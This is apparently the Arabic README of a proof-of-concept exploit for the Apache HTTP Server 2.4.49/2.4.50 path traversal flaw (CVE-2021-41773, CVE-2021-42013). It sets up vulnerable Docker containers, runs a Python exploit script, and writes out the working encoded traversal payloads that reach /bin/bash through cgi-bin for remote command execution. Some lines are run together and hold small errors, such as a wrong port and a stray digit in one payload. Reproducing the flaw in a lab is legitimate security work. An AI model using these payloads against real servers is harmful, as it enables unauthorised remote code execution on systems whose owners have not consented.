
استغلال إثبات المفهوم لثغرة اجتياز المسار في Apache HTTP Server 2.4.49/2.4.50 (CVE-2021-41773) مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر سكربتات CGI. يتضمن بيئة إعادة إنتاج قائمة على Docker وسكربت استغلال بلغة Python.
تم اكتشاف ثغرة في تغيير تم إجراؤه على تسوية المسار (path normalization) في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل المكوّنة عبر توجيهات مشابهة لتوجيه Alias. إذا لم تكن الملفات خارج هذه الدلائل محمية بالتكوين الافتراضي "require all denied"، فقد تنجح هذه الطلبات. إذا كانت نصوص CGI مفعّلة أيضاً لهذه المسارات المعرّفة عبر Alias، فقد يسمح ذلك بتنفيذ الأوامر عن بُعد. من المعروف استغلال هذه الثغرة في البيئة الفعلية. تؤثر هذه الثغرة فقط على Apache 2.4.49 ولا تؤثر على الإصدارات الأقدم. كان الإصلاح في Apache HTTP Server 2.4.50 غير مكتمل، انظر CVE-2021-42013.
pip3 install colorama)perl يعمل في الحاوية (الحاويات)شغّل Apache httpd معرّضاً للثغرة (بالتكوين الافتراضي) كحاوية docker/podman.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 اختر الهجوم على الإصدار 2.4.49
1.3 python3 main.py localhost:2450
1.4 اختر الهجوم على الإصدار 2.4.50
سيستخدم سكربت الاستغلال وحدة CGI في Apache httpd للسماح بتنفيذ ملفات تنفيذية عشوائية عبر اجتياز المسار (path traversal).
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ هو ترميز URL ويعادل ../ عند فك الترميز.
.%%32%658 هو ترميز URL مزدوج ويعادل أيضاً ../ عند فك الترميز.